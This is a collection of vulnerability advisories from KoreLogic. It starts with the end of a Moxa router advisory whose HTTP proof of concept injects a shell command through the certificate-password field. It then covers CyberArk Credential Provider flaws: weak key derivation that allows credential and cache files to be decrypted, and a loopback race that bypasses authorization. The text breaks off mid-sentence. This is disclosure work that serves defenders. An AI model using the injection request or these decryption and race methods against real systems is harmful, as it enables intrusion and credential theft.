``` The file has been created. ```text # ls -la /tmp/korelogic -rwxr-xr-x 1 root root 8072 Sep 23 20:30 korelogic ``` It should be noted that the `cer_name` is exploitable as well. ## Mitigation and Remediation Recommendation The vendor has released a patch which remediates the described vulnerability. Release notes are available at: https://www.moxa.com/en/support/product-support/security-advisory/tn-5900-secure-routers-vulnerabilities ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) and Josh Hardin of KoreLogic, Inc. ## Proof of Concept ```http POST /goform/web_CERMGMTUpload HTTP/1.1 Host: [redacted]:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate ... Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------9051914041544843365972754266 Content-Length: 605 -----------------------------9051914041544843365972754266 Content-Disposition: form-data; name="mgmtmode" 2 -----------------------------9051914041544843365972754266 Content-Disposition: form-data; name="cer_file"; Content-Type: text/plain korelogic -----------------------------9051914041544843365972754266 Content-Disposition: form-data; name="cer_name"; Content-Type: text/plain test.p12 -----------------------------9051914041544843365972754266 Content-Disposition: form-data; name="cer_pw"; `touch /tmp/korelogic` -----------------------------9051914041544843365972754266-- HTTP/1.1 200 OK Server: GoAhead-Webs Pragma: no-cache Cache-control: no-cache Content-Type: text/html ``` --- ## KL-001-2021-008: CyberArk Credential File Insufficient Effective Key Space URL: https://korelogic.com/advisories/KL-001-2021-008/ KL-001-2021-008 - CyberArk Credential File Insufficient Effective Key Space - CVE-2021-31796 - CyberArk Application Access Manager/Credential Provider Advisory ID: KL-001-2021-008 Published: 2021-09-01 Vendor: CyberArk Product: Application Access Manager/Credential Provider Version: Prior to 12.1 Platform: Linux/Windows/zOS CVE: CVE-2021-31796 CWE: CWE-326 - Inadequate Encryption Strength Discovered by: Klayton Monroe ## References - [CWE-326 - Inadequate Encryption Strength](https://cwe.mitre.org/data/definitions/326.html) - [CVE-2021-31796](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31796) - [Signed advisory text](/advisories/KL-001-2021-008.txt) ## Vulnerability Description CyberArk Credential Providers and possibly other Vault components use credential files to store usernames and encrypted passwords. Under certain conditions, the effective key space used to encrypt the passwords is significantly reduced. For an attacker who understands the key derivation scheme and encryption mechanics, full access to the information used to derive the encryption key is sufficient to reduce effective key space to one. With partial access, the effective key space can vary depending on the information available, and a number of those variations are unlikely to withstand brute force attacks. ## Technical Description The password(s) stored in CyberArk version 2 credential (`.cred`) files are protected against inadvertent disclosure through the use of a proprietary key derivation scheme and Advanced Encryption Standard (AES) encryption. More specifically, each password along with some additional information is encrypted using the AES cipher in Cipher Block Chaining (CBC) mode, a 256-bit key, and a 128-bit Initialization Vector (IV). Per online documentation, the encryption key is derived from a random 160-bit salt and the following environmental information: Client ID (10 characters), OS user, IP address, and Application [1]. Based on analysis and observations, the following credential file fields are involved in the key derivation process: - ClientApp (conditionally required) - AppPath (conditionally required) - ClientIP (conditionally required) - OSUser (conditionally required) - AdditionalInformation ( required) - ClientHostname (conditionally required) where - ClientApp identifies the allowed application type - AppPath is a path that points to an allowed system executable - ClientIP identifies the allowed system IP address - OSUser identifies the allowed system user - AdditionalInformation is a 160-bit random salt - ClientHostname identifies the allowed system hostname Whether or not the conditionally required fields noted above are required (i.e., used in the key derivation process) depends on the value of the VerificationsFlag field, which is implemented as a bit mask having the undocumented mappings shown in the table below. ```text +-----------------------+------------+-----+ | Field | Mask Value | Bit | +-----------------------+------------+-----+ | ClientApp | 0x0001 | 0 | | AppPath | 0x0002 | 1 | | ClientIP | 0x0004 | 2 | | OSUser | 0x0008 | 3 | | AdditionalInformation | 0x0010 | 4 | | ClientHostname | 0x0020 | 5 | +-----------------------+------------+-----+ ``` For a specific VerificationsFlag value, a given field is required if its bit is set in the aggregate mask for that value. For example, an aggregate mask of 17 (0x0011) indicates that the AdditionalInformation (bit 4) and ClientApp (bit 0) fields are required since those mask values (i.e., 0x0010 and 0x0001) yield an aggregate mask of 0x0011 when ORed together in a bitwise operation. Similarly, an aggregate mask of 63 (0x003f) indicates that all fields in the table above are required. Below is a table derived from online documentation [1]. It identifies all currently known application types. For the purposes of key derivation, this list constitutes the set of valid choices for the ClientApp field. If the bit for this field is set in the aggregate mask, the corresponding value undergoes several transformations prior to being folded into the key derivation process. First, it is converted to a lowercase string. Next, the lowercase string is hashed using SHA1. Finally, the resultant hash (in binary form) is encoded as a Base64 string. In the sections that follow, this transformed value will be referred to as ClientAppXForm. ```text +---------------------------------------------+----------------+ | Application Type | ID | +---------------------------------------------+----------------+ | Central Policy Manager | CPM | | Password Vault Web Access | PVWA | | Password Vault Web Access application user | PVWAApp | | OPM and Credential Provider | AppPrv | | Privileged Session Manager application user | PSMApp | | CyberArk Replicator/Restore/Prebackup | CABACKUP | | Disaster Recovery Vault | DR | | Event Notification Engine | ENE | | PrivateArk Client | WINCLIENT, GUI | | CyberArk CLI | PACLI | | CyberArk ActiveX API | XAPI | | CyberArk .Net API | NAPI | | Export Vault Data | EVD | | CyberArk Encryption Utility | CACrypt | +---------------------------------------------+----------------+ ``` Embedded in the key derivation code are two undocumented, hard-coded byte sequences (henceforth referred to as Suffix1 and Suffix2). Given the above, the key derivation process can be summarized as follows: - start a pair of SHA1 hashes (Hash1 and Hash2) - update each hash with required field values in the following order: ClientAppXForm, AppPath, ClientIP, ClientHostname, OSUser, and AdditionalInformation - update Hash1 with Suffix1 - update Hash2 with Suffix2 - finalize hashes - construct encryption key using Hash1[0:20] and Hash2[0:12] Unfortunately, the effective key space can be substantially less than the total key space, which is 2^256. This is due to a lack of entropy in the field values used. The table below provides a qualified best case estimate for each field value than can be used. ```text +-----------------------+-----------------+--------------------------------------------------------+ | Best Case Estimates | +-----------------------+-----------------+--------------------------------------------------------+ | Field | Possible Values | Basis for Estimate | +-----------------------+-----------------+--------------------------------------------------------+ | ClientAppXForm | =15 | actual number of documented application types | | AppPath | <=1000000 | reasonable number of distinct files on a Linux system | | ClientIP | <=2^24 | confined to a single class A network | | ClientHostname | <=63^63 | confined to 63 characters drawn from [0-9A-Za-z-] | | OSUser | <=1000 | reasonable number of distinct users on a Linux system | | AdditionalInformation | =16^40 | actual size of value | +-----------------------+-----------------+--------------------------------------------------------+ ``` If all fields are used, the effective key space would be: 15 _ 1000000 _ 2^24 _ 63^63 _ 1000 * 16^40 or approximately 2^595. This is certainly better than 2^256, but it's not realistic because additional context will be available in the typical attack scenario: a credential file is found/accessed within the system/network for which it was originally created/deployed. With this scenario, an attacker will likely be able to significantly narrow the set of possible values for the AppPath, ClientIP, ClientHostname, and OSUser fields. The table below provides a more realistic set of estimates. ```text +-----------------------+-----------------+--------------------------------------------------------+ | Realistic Estimates | +-----------------------+-----------------+--------------------------------------------------------+ | Field | Possible Values | Basis for Estimate | +-----------------------+-----------------+--------------------------------------------------------+ | ClientAppXForm | =15 | actual number of documented application types | | AppPath | <=256 | limited to CyberArk components actually installed/used | | ClientIP | <=256 | if no direct lookup, likely to be class C or less | | ClientHostname | <=256 | if no direct lookup, follow site naming conventions | | OSUser | <=256 | reasonable number of likely users on a Linux system | | AdditionalInformation | =1 | value specified in credential file | +-----------------------+-----------------+--------------------------------------------------------+ ``` If all fields are used, the effective key space would be: 15 _ 256 _ 256 _ 256 _ 256 * 1 or approximately 2^36. Note that the work factor associated with this key space is well within the reach of even modest compute power. In the case where an attacker has access to all the information used to derive the encryption key, the effective key space is reduced to one. To illustrate this point, consider the example credential file created using the CyberArk "createcredfile" utility, shown below. ```text $ createcredfile example_0x003f.cred Password -Username ca_user -Password ca_pass -ExternalAuth no -AppType AppPrv -ExePath /opt/CARKaim/sdk/clipasswordsdk -IPAddress -Hostname -OSUsername os_user -DisplayRestrictions --- example_0x003f.cred --- CredFileType=Password CredFileVersion=2 Username=ca_user VerificationsFlag=63 Password=A9125EA93F77E5DEABB00FB822169AEAC0E5AC6EEA08FF4F90EC0361E43992B27077B73242916AE401081ACD6842D89A ExternalAuthentication=no AdditionalInformation=27653F765AE71F605833AF1A3EC96048477F133F ClientApp=AppPrv AppPath=/opt/CARKaim/sdk/clipasswordsdk ClientIP=192.168.1.6 ClientHostname=krom OSUser=os_user --- example_0x003f.cred --- ``` When SUFFIX1 and SUFFIX2 are assigned the proper values, the decryption utility provided in the Proof-of-Concept section below will decrypt example_0x003f.cred as demonstrated here: ```text $ decrypt-cyberark-credfile.py ${SUFFIX1} ${SUFFIX2} example_0x003f.cred --- output --- SUPPLIED_VERIFICATION_FLAGS='0x003f' (63) REQUIRED_VERIFICATION_FLAGS='0x003f' (63) TARGET='Password' KEY='0E145BE620B42749F077294ED222C6799A2A31C88BB7528C2863AC90D5DE4A52' IV='A9125EA93F77E5DEABB00FB822169AEA' ACTUAL_PLAINTEXT_HASH='1D2BABAF7564A7291782DBC1258E5E62D8D7CBF8' TARGET_PLAINTEXT_HASH='1D2BABAF7564A7291782DBC1258E5E62D8D7CBF8' DECRYPTION_STATUS='pass' PASSWORD='ca_pass' --- output --- ``` Note that it's not uncommon to encounter credential files with a VerificationsFlag value of 16 (i.e., 0x0010). This means that the effective key space is automatically one. The example below demonstrates that scenario. ```text $ createcredfile example_0x0010.cred Password -Username ca_user -Password ca_pass --- example_0x0010.cred --- CredFileType=Password CredFileVersion=2 Username=ca_user VerificationsFlag=16 Password=E948B686F881DE616B2E00672B0ED39982977250CF9AD473A5C445FE240268DBC27E686B40AA5B6D204B14D6CCD56801 ExternalAuthentication=No AdditionalInformation=6CF3132ECA8BD1A9F550DB18F69176EFCF8823DD --- example_0x0010.cred --- ``` ```text $ decrypt-cyberark-credfile.py ${SUFFIX1} ${SUFFIX2} example_0x0010.cred --- output --- SUPPLIED_VERIFICATION_FLAGS='0x0010' (16) REQUIRED_VERIFICATION_FLAGS='0x0010' (16) TARGET='Password' KEY='6BE15C6BFFF6F234E74CE46F8D510F76490778658E9B903D693A92150D64A715' IV='E948B686F881DE616B2E00672B0ED399' ACTUAL_PLAINTEXT_HASH='1D2BABAF7564A7291782DBC1258E5E62D8D7CBF8' TARGET_PLAINTEXT_HASH='1D2BABAF7564A7291782DBC1258E5E62D8D7CBF8' DECRYPTION_STATUS='pass' PASSWORD='ca_pass' --- output --- ``` In cases where security restrictions (i.e., '-DisplayRestrictions') have been enabled or certain fields are not represented in a given credential file, the decryption utility would need to be modified to brute force missing values, but that is relatively easy to do. [1] https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/PASIMP/CreateCredFile-Utility.htm ## Mitigation and Remediation Recommendation The vendor has released an updated version (v12.1) which remediates the described vulnerability. Release notes are available at: https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/Release%20Notes/RN-WhatsNew12-1-CPs.htm?tocpath=Get%20Started%7CWhat%E2%80%99s%20New%7CRelease%20Notes%7C_____4 ## Credit This vulnerability was discovered by Klayton Monroe of KoreLogic, Inc. ## Proof of Concept At the vendor's request, KoreLogic has agreed to delay publication of the Proof of Concept while customers continue to deploy the updated versions of the product. --- ## KL-001-2021-009: CyberArk Credential Provider Race Condition And Authorization Bypass URL: https://korelogic.com/advisories/KL-001-2021-009/ KL-001-2021-009 - CyberArk Credential Provider Race Condition And Authorization Bypass - CVE-2021-31797 - CyberArk Application Access Manager/Credential Provider Advisory ID: KL-001-2021-009 Published: 2021-09-01 Vendor: CyberArk Product: Application Access Manager/Credential Provider Version: Prior to 12.1 Platform: Linux/Windows/zOS CVE: CVE-2021-31797 CWE: CWE-326 - Inadequate Encryption Strength CWE: CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') CWE: CWE-940 - Improper Verification of Source of a Communication Channel Discovered by: Klayton Monroe ## References - [CWE-326 - Inadequate Encryption Strength](https://cwe.mitre.org/data/definitions/326.html) - [CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')](https://cwe.mitre.org/data/definitions/362.html) - [CWE-940 - Improper Verification of Source of a Communication Channel](https://cwe.mitre.org/data/definitions/940.html) - [CVE-2021-31797](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31797) - [Signed advisory text](/advisories/KL-001-2021-009.txt) ## Vulnerability Description CyberArk's Credential Provider loopback communications on TCP port 18923 are encrypted with key material that has extremely low entropy. In all currently-known use cases, the effective key space is less than 2^16. For an attacker who understands the key derivation scheme and encryption mechanics, knowledge of the source port and access to the payloads of a given client-server exchange are sufficient to reduce effective key space to one. In cases where the source port is not known, the encrypted payloads will be unable to withstand a brute force attack. Additionally, the user identification mechanism used by CyberArk's Credential Provider is vulnerable to a race condition where an unauthorized/unprivileged user can submit one or more encrypted query requests. If the race is won, the attacker will be able to retrieve sensitive information including passwords and password metadata. ## Technical Description Based on analysis and observations, the key derivation process for CyberArk's Credential Provider loopback communications on TCP port 18923 can be summarized as follows: - start a SHA1 hash (Hash1) - update Hash1 with the decimal representation of the source port - update Hash1 with an undocumented, hard-coded byte sequence - finalize Hash1 - construct encryption key using Hash1[0:16] Capturing loopback communications (e.g., with a sniffer) requires elevated privilege. Thus, the risk associated with this attack vector can be partially mitigated through basic system hardening. However, access to loopback communications is not the only method by which the Credential Provider can be attacked. An unprivileged user can simply open a connection, submit an encrypted request, and if the conditions are right, the Credential Provider may be "tricked" into generating a valid response. Below, a summary of two distinct races is given. Each race consists of two query requests: one made by an authorized user (u_auth) and the other made by an unauthorized/unprivileged user (u_unauth). Observe (see details provided below) that only the authorized query is satisfied in the first race, while both queries are satisfied in the second race. By piggybacking on a lock file created during u_auth's request, the user controlling u_unauth's account is able to retrieve information s/he is not authorized to view/possess. Clearly, this is a security breach. Factors that make this attack possible include: - The key material generated for these communications is weak. The effective key space is less than 2^16 because the key is derived from the TCP source port used to make the request and an undocumented, hard-coded byte sequence embedded in the key derivation code (henceforth referred to as Suffix1). - The user identification mechanism used by the Credential Provider is vulnerable to a race condition where a shared, ephemeral lock file exists in a common folder from the time that the client makes its request to the time that the Credential Provider's response is received/processed. The window of time in which this file persists affords an unauthorized user the opportunity to submit one or more distinct requests that subsequently induce the provider to reuse the yet-to-be-removed lock file. At that point, pending requests (piggyback requests) will be deemed to have originated from the same user as the first request (original request), and if that user is authorized to make each request, then each will be satisfied by the Credential Provider so long as the lock file persists. An attacker who understands how this mechanism works, can simply wait for a lock file to come into existence (or predict its existence based on process table monitoring and TCP port allocation). Once detected (or predicted), a piggyback request can be submitted provided that it originates from the "same" source port as the original request. - Requests originating from loopback addresses other than 127.0.0.1 (e.g., 127.0.0.{2,3,4}, etc.) are honored by the Credential Provider. This makes it possible for an attacker to make a piggyback request from the "same" source port as the original request. Without the SO_REUSEPORT socket option and cooperating processes, each source address/port tuple must be unique on a given system. In other words, two non-cooperating processes can't simultaneously bind to the same source address/port (e.g., 127.0.0.1:10000). One or the other will be rejected by the operating system. However, since 127.0.0.1:10000 and 127.0.0.2:10000 are distinct tuples, they are viewed as distinct endpoints (by the operating system) and are therefore allowed to coexist. The Credential Provider, upon receiving a request from either endpoint, ignores (or discards) the source address, and incorrectly associates that communication as having originated from the "same" port (i.e., port 10000 per the example at hand). - Note that if the Credential Provider is unable to communicate with the Vault, it will continue to answer cached queries. If log records are world readable, they can reveal past queries that were both legitimate and successful. If the provider is configured to maintain a cache, those query results are likely still resident in the cache. Thus, an attacker may use knowledge of cache behavior and available log records to construct piggyback requests that are likely to be satisfied when the race is won. Below, a sanitized excerpt of the authorization policy recovered from the Credential Provider's local cache (appprovider_cache.dat) on [NAME REDACTED] is shown. Observe that u_auth is listed as an authorized user. The scope of this authorization is not fully known. Through testing, it was determined that u_auth is authorized to make password queries from at least two distinct safes (AIM_SAFE1 and AIM_SAFE2). ```xml --- policy --- ... ... ... --- policy --- ``` Below, the result of an authorized query made by u_auth to retrieve app_123's password located in the AIM_SAFE1 safe is shown. Note that the CyberArk "clipasswordsdk" utility transparently encrypts the request and decrypts the response. ```text $ clipasswordsdk GetPassword -p AppDescs.AppID=APP_ID -p Query="Address=enco;TokenID=APP123Pass;Env=env1" -o Password --- output --- [PASSWORD REDACTED] --- output --- ``` Below, the result of two unauthorized queries made by u_unauth are shown. These queries attempt to retrieve app_456's password located in the AIM_SAFE2 safe. Note that these responses are essentially what an observer could capture if sniffing the loopback interface. Also note that the Elements field contains encrypted query results. Once decrypted (as shown farther below), it is evident that the first response contains an error message indicating that the query failed. Hence, that race was lost. However, the second response clearly contains valid data. Hence, that race was won. This implies that no single race is a sure bet. Rather, factors such as current system load, number of processors, processor speed, etc. will influence the outcome of any given race. Note that an unconstrained user may be able to influence system load sufficiently to consistently win the race. ```xml --- RESPONSE_1_BEGIN [TCP_PORT=44222] ---
995000 3
9232456D7707CEBCC280184CB311F0871521DBFF0546A5E858974FE9E4AC8B4260FB4C579ACFB603905D1CFD1CA8EF76CD9AC32AE6C7CD6EC85FA57BD3E035514EEB72E767FBEA3FF2F4FA45D6F3D7E34B0DDACF9E2A3443E43C24D84544534A65046A6A4CCBED7CF6C72733F7B05CFD2F805E51B277100E1A9D42DA8D759EE6DE43F0D26ED41750EE428F82481CC96C8A3177C09F8A882138C294A4ADBDC270DE55128ABDCFCD6A5451A692DF4AE4035CB8D23C38176E78669903C680C89C14B00798568718FECAA1B7143ABAEEE612CE394DA4B7BD550338DB319BE607EED7F57EBCA05AA52CFAC03B02A4EC49F8F6B9E60375C32CEAA963017F590E3FBBAF4652664FC79AB355CB23EF50581A76FFC207731975FAF04CAAFD32F10B508E16660F0BCF6A55FDF3C2322110FBA425CFD06530B373B493957EF76E62100788D9FF1954BD12CBDD9D4E0393D3F6F411BD28AC788A55D6291BCDC439D895AA24E3A307A479EF420524AA3131C137F2EB9F
--- RESPONSE_1_END [TCP_PORT=44222] --- ``` ```xml --- RESPONSE_2_BEGIN [TCP_PORT=44228] ---
995000 3
3681C9C1467C74EC3FFB7982B5E2639602D87E70D4E00EDCD6A65AFAF2093077B7CA27126C26A6F23DAEFB90287E9CDF99C20ED9F1835BC849855F8B7CFA437F72C8EF57EA077FA14DA625FAE93C0AAA0883FC130DA386E03622C80439A2F35F6508D08218E8ABE0D2000A2944908D13B5AE20854C4D8DCF30E790E25D6C4642BE52C6BA494FDDAB5A422C644C1D4A4688A9E9450F681BFD0949AB1A3358A355DFA797F2D416A9B1C2EF4C960A2A0B4C2F6F278B0B705D29F3DC3CFC9DA79B43B341D1AD8C45F602796CF627D5721DE7278B984E59CA5B5364A62CEFFAF0EDB9E7E33DCE349781AD0934DDD58E0A27EE669879D4641170C74FF237AD69C2F2C74263F48433213952F3E436EAFA65A69E12833EE189416F5F29A7A420D284180ED3C37D58DBE06600E4F3E01FF13C8AC98A101396E2FB0C382CF2C44C5E9487A31BE8665C2C6CC03F8982E719928537F2446068A849397A7132245F5521C990CA037C9C88C707F661CDD688AC9C45CC23A4B508EEE5E858E47E1C0BC31843BE43522F80DD29F0D6CD4233622D1F95A563C5425DEC73DBD47655525DCA19BBE64C177F8A0462D073FE99F135F2C056108D1F3D7B91CF055681DE5FBB12ABC92C08F872FACCE86C703B2F5CBFD49DB85DFBB484AB4C9308E804053F96D73E2DFD79D1EC55AE26358F4C02D33D0719300627B336B4FF99C294E0A713B6D33381DAB0241448A409E8346AA35F8352E1B0851BC1338EA6863E49DDB98B8CAB8EBB566C257F079BA16B6C28C4F1BA590B61B8F301E941867D3162231016DAA0C738C64C7B4DF355A8C8FCB08B866B81D9C23B9CAB626FFE53601D114D04E370D085B97473E8EE56DE4B7083D645C7E11CC51EF8BEA72A424BFD7FE3DCB6DF2EB58D95D907347627E450E83DD8CFEDA1F438953BFFAF52BEE65A3980F50DED183D6AFA6F0CD1C4B4F28A0FC16540055B76E063015D13100BE3492B9B32C02F45819506B39247CF4CA65CF04BE4BCDCF38EB4E3F44696299AFF93177E9F3E0B8ABD14BF51C35E3493B604173E83B6C00E85B580639A57B961A340881738D925068817F15E5FA565C95B8E913E200F82E21AA51C23C751AD75C3CE32C50B3BCF7B10C680A7CBA7356D2A8027D138AC6B0294AD760F1C71BA7DA8F53B997E60B185998A72693C3A88C43817648D285BFAFCC9F26CD3C37B96862BCED33EB48E536EDA29DBB1E0D7EC5680478BD99361D2C04B5F9E079EE8DC0D2CD76362507C8C13759156D450F1EE283171D3A5D9C8C3B9D284D3BF3B7729529E0FACC3424B27C1A62392B9A127AAF98982318459F20B5A1C60B9DB4AAA1F9AD0F2EEE373E46DC0231FF106
--- RESPONSE_2_END [TCP_PORT=44228] --- ``` ```xml --- DECRYPTED_ELEMENTS_RESPONSE_1_BEGIN [TCP_PORT=44222] --- ErrorResponse 1 -1 APPAP087E Application authentication failure --- DECRYPTED_ELEMENTS_RESPONSE_1_END [TCP_PORT=44222] --- ``` ```xml --- DECRYPTED_ELEMENTS_RESPONSE_2_BEGIN [TCP_PORT=44228] --- PasswordResponse 1 REDACTED 0
appprodapplication
APP Class H PVWA SR0118365 Operating System all-prod H_SRV_GENERIC_Q_XXX_APC ISCI APPPassword app_456
false
--- DECRYPTED_ELEMENTS_RESPONSE_2_END [TCP_PORT=44228] --- ``` Below, the relevant log entries generated for queries made during the first race are shown. Note how all timestamps are identical. Note also that the reason the race was lost is revealed by the first record in APPConsole.log. Essentially, the authorized query (first entry in APPAudit.log) was satisfied and its associated lock file (/tmp/AIM44222) was removed before the unauthorized query (second entry in APPAudit.log) could be processed by the Credential Provider. And since the lock file was removed, the provider had no means to look up the process ID of the requesting process. ```text --- APPAudit.log --- [DATE | 18:09:08] | :: | APPAU001I Provider Prov_[REDACTED] has successfully fetched password [safe=AIM_SAFE1,folder=Root,name=[REDACTED]] with query [Address=enco;TokenID=APP123Pass;Env=env1] for application [APP_ID]. Fetch reason: [] [DATE | 18:09:08] | :: | APPAU002E Provider Prov_[REDACTED] has failed to fetch password with query [Address=appprodapplication;Env=all-prod;TokenID=APPPassword] for application [APP_ID]. Fetch reason: []. Failure reason: [APPAP087E Application authentication failure] --- APPAudit.log --- --- APPConsole.log --- [DATE | 18:09:08] | :: | APPAP087E Application authentication failure for Application APP_ID (CASCU086E Failed to find application process id. (Error: The lock file (/tmp/AIM44222) couldn't be opened, Error code: 2).) [DATE | 18:09:08] | :: | APPAP002E Provider Prov_[REDACTED] has failed to fetch password with query [Address=appprodapplication;Env=all-prod;TokenID=APPPassword] for application [APP_ID]. Fetch reason: []. Failure reason: [APPAP087E Application authentication failure] --- APPConsole.log --- ``` Below, the relevant log entries generated for queries made during the second race are shown. Note how all timestamps are identical. The authorized query corresponds to the first entry in APPAudit.log, and the unauthorized query corresponds to the second entry. Note how two distinct safes were queried. This suggests that safes not normally accessed/queried by a given Credential Provider may be targeted by an attacker from a different system. Clients should be cautioned that the contents of any given safe should be confined to a single security domain. ```text --- APPAudit.log --- [DATE | 18:09:13] | :: | APPAU001I Provider Prov_[REDACTED] has successfully fetched password [safe=AIM_SAFE1,folder=Root,name=[REDACTED]] with query [Address=enco;TokenID=APP123Pass;Env=env1] for application [APP_ID]. Fetch reason: [] [DATE | 18:09:13] | :: | APPAU001I Provider Prov_[REDACTED] has successfully fetched password [safe=AIM_SAFE2,folder=Root,name=[REDACTED]] with query [Address=appprodapplication;Env=all-prod;TokenID=APPPassword] for application [APP_ID]. Fetch reason: [] --- APPAudit.log --- ``` ## Mitigation and Remediation Recommendation The vendor has released an updated version (v12.1) which remediates the described vulnerability. Release notes are available at: https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/Release%20Notes/RN-WhatsNew12-1-CPs.htm?tocpath=Get%20Started%7CWhat%E2%80%99s%20New%7CRelease%20Notes%7C_____4 ## Credit This vulnerability was discovered by Klayton Monroe of KoreLogic, Inc. ## Proof of Concept At the vendor's request, KoreLogic has agreed to delay publication of the Proof of Concept while customers continue to deploy the updated versions of the product. --- ## KL-001-2021-010: CyberArk Credential Provider Local Cache Can Be Decrypted URL: https://korelogic.com/advisories/KL-001-2021-010/ KL-001-2021-010 - CyberArk Credential Provider Local Cache Can Be Decrypted - CVE-2021-31798 - CyberArk Application Access Manager/Credential Provider Advisory ID: KL-001-2021-010 Published: 2021-09-01 Vendor: CyberArk Product: Application Access Manager/Credential Provider Version: Prior to 12.1 Platform: Linux/Windows/zOS CVE: CVE-2021-31798 CWE: CWE-326 - Inadequate Encryption Strength Discovered by: Klayton Monroe ## References - [CWE-326 - Inadequate Encryption Strength](https://cwe.mitre.org/data/definitions/326.html) - [CVE-2021-31798](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31798) - [Signed advisory text](/advisories/KL-001-2021-010.txt) Title:CyberArk Credential Provider Local Cache Can Be Decrypted ## Vulnerability Description CyberArk Credential Providers can be configured to retain passwords, password metadata, and other application properties in a local, encrypted cache file. Under certain conditions, the effective key space used to encrypt the cache is significantly reduced. For an attacker who understands the key derivation scheme and encryption mechanics, full access to the information used to derive the encryption key is sufficient to reduce effective key space to one. Even in cases where the information is not known, the encrypted cache files will likely be unable to withstand a brute force attack. However, the severity of this issue is partially mitigated by the privilege level required (root) for access. ## Technical Description According to available online documentation [1], CyberArk cache files store three types of information: passwords and associated properties, application properties and authentication details, and relationships between applications and passwords. To maintain a high degree of availability, cached information is supplied even when the Vault cannot be accessed (e.g., due to a network outage). When the Vault is accessible, cached information is maintained periodically through a background refresh process, which is controlled by various configuration parameters. For a host system [NAME REDACTED], the following parameters were set in main_appprovider.conf.linux.9.95 under the Cache section: ```text --- main_appprovider.conf.linux.9.95 --- CacheLevel=persistent CacheFile=/var/opt/CARKaim/cache/appprovider_cache.dat CacheRefreshInterval=180 VaultAccessInterval=31536000 --- main_appprovider.conf.linux.9.95 --- ``` Cache files from the host system [NAME REDACTED] (appprovider_cache.dat and configuration_cache.dat) were collected, analyzed, and found to be encrypted on a line-by-line basis using AES in CBC mode with a 256-bit key. On the file system, these files were found to have sufficiently restrictive permissions. More specifically, their user/group ownerships were root/root, and their file permissions only allowed the root user read/write access. This implies that an attacker seeking to read or alter these files must first acquire root-level access. Note, however, that depending on the environment in which a given Credential Provider system operates, there may be other viable attack vectors (e.g., abuse of setuid/setgid executables, accessing the target file system while booted in or mounted from an alternate OS, unprotected backups, etc.). Based on analysis and observations, it was determined that the key material used to derive cache encryption keys are as follows: - application type (AppProvider, AIMAccount, or OPMProvider) - application user (Credential Provider username) - two undocumented, hard-coded byte sequences The application type (dubbed AppType) is transformed prior to being folded into the key derivation process. First, its ID (e.g., AppPrv for AppProvider) is converted to a lowercase string. Next, the lowercase string is hashed using SHA1. Finally, the resultant hash (in binary form) is encoded as a Base64 string. In the sections that follow, this transformed value will be referred to as AppTypeXForm. The application user (dubbed AppUser) is believed to be taken directly from the Username field of the Credential Provider's credential file (appprovideruser.cred). According to available online documentation [2], the username is established during Credential Provider installation, and the default value is "Prov_". According to RFC 1035 Section 2.3.1 [3]: [The labels must follow the rules for ARPANET host names. They must start with a letter, end with a letter or digit, and have as interior characters only letters, digits, and hyphen. There are also some restrictions on the length. Labels must be 63 characters or less.] The two undocumented, hard-coded byte sequences noted above (henceforth referred to as Suffix1 and Suffix2) were found embedded in the key derivation code. Given the above, the key derivation process can be summarized as follows: - start a pair of SHA1 hashes (Hash1 and Hash2) - update each hash with AppTypeXForm - update each hash with AppUser - update Hash1 with Suffix1 - update Hash2 with Suffix2 - finalize hashes - construct encryption key using Hash1[0:20] and Hash2[0:12] Unfortunately, the effective key space can be substantially less than the total key space, which is 2^256. This is due to a lack of entropy in the values used. The table below provides a qualified best case estimate for each value that can be used. ```text +-----------------------+-----------------+----------------------------------------------------------------+ | Best Case Estimates | +-----------------------+-----------------+----------------------------------------------------------------+ | Item | Possible Values | Basis for Estimate | +-----------------------+-----------------+----------------------------------------------------------------+ | AppTypeXForm | =3 | actual number of known application types | | AppUser | <=63^63 | "Prov_" plus up to 63 characters drawn from [0-9A-Za-z-] | +-----------------------+-----------------+----------------------------------------------------------------+ ``` This yields an effective key space of: 3 * 63^63 or approximately 2^379. This is certainly better than 2^256, but it's not realistic because additional context will be available in the typical attack scenario: a cache file is found/accessed within the system/network where it was originally populated. With this scenario, an attacker will likely be able to significantly narrow the set of possible values for the AppUser. Note that if the appprovideruser.cred file or any of the application audit/console log files are accessible, this value is easily obtained/confirmed. The table below provides a more realistic set of estimates. ```text +-----------------------+-----------------+----------------------------------------------------------------+ | Realistic Estimates | +-----------------------+-----------------+----------------------------------------------------------------+ | Item | Possible Values | Basis for Estimate | +-----------------------+-----------------+----------------------------------------------------------------+ | AppTypeXForm | =3 | actual number of known application types | | AppUser | <=256 | "Prov_" plus direct lookup or site naming conventions | +-----------------------+-----------------+----------------------------------------------------------------+ ``` This yields an effective key space of: 3 * 256 or approximately 2^10. Note that the work factor associated with this key space is trivial. In the case where an attacker has access to all the information used to derive the encryption key, the effective key space is reduced to one. To illustrate this point, consider the actual cache file shown below. Note that this file was originally decrypted using 'Prov_[REDACTED]' and subsequently re-encrypted using 'Prov_acme' as the value for AppUser. ```text --- configuration_cache.dat --- C8A216AC499542BE21F7CD503CD45B8606A20264847FC2D2601DBB446DCC6022DD0C92D888481B016178C44BA816BF7D 36CE96B752F2524E3E2E85D0EDE2C02DDAABAB7204BF1FE0783B9D6508D768B816647948DD96C030B598C2C8CE64C0D15F599796FD2E7DBE705CB13AD0FA30DAC44EE7D96329FD90826E834E66836EE5CD543B0523E3FD7AF9EAD811BC271AC6A78A11591B4870143814BBA05DCF5B01 01CDBDF5470A03A213CA182CAAA071363F7E4A0463BDFA034651E1713FC546E599E5641A7C83B8C56B327DA3B5885C9E9E224A001BE5E0EA00F6CF436F205195D5D64E3FFBA8001829F61AB61D7FCE10 --- configuration_cache.dat --- ``` When SUFFIX1 and SUFFIX2 are assigned the proper values, the decryption utility provided in the Proof-of-Concept section below will decrypt 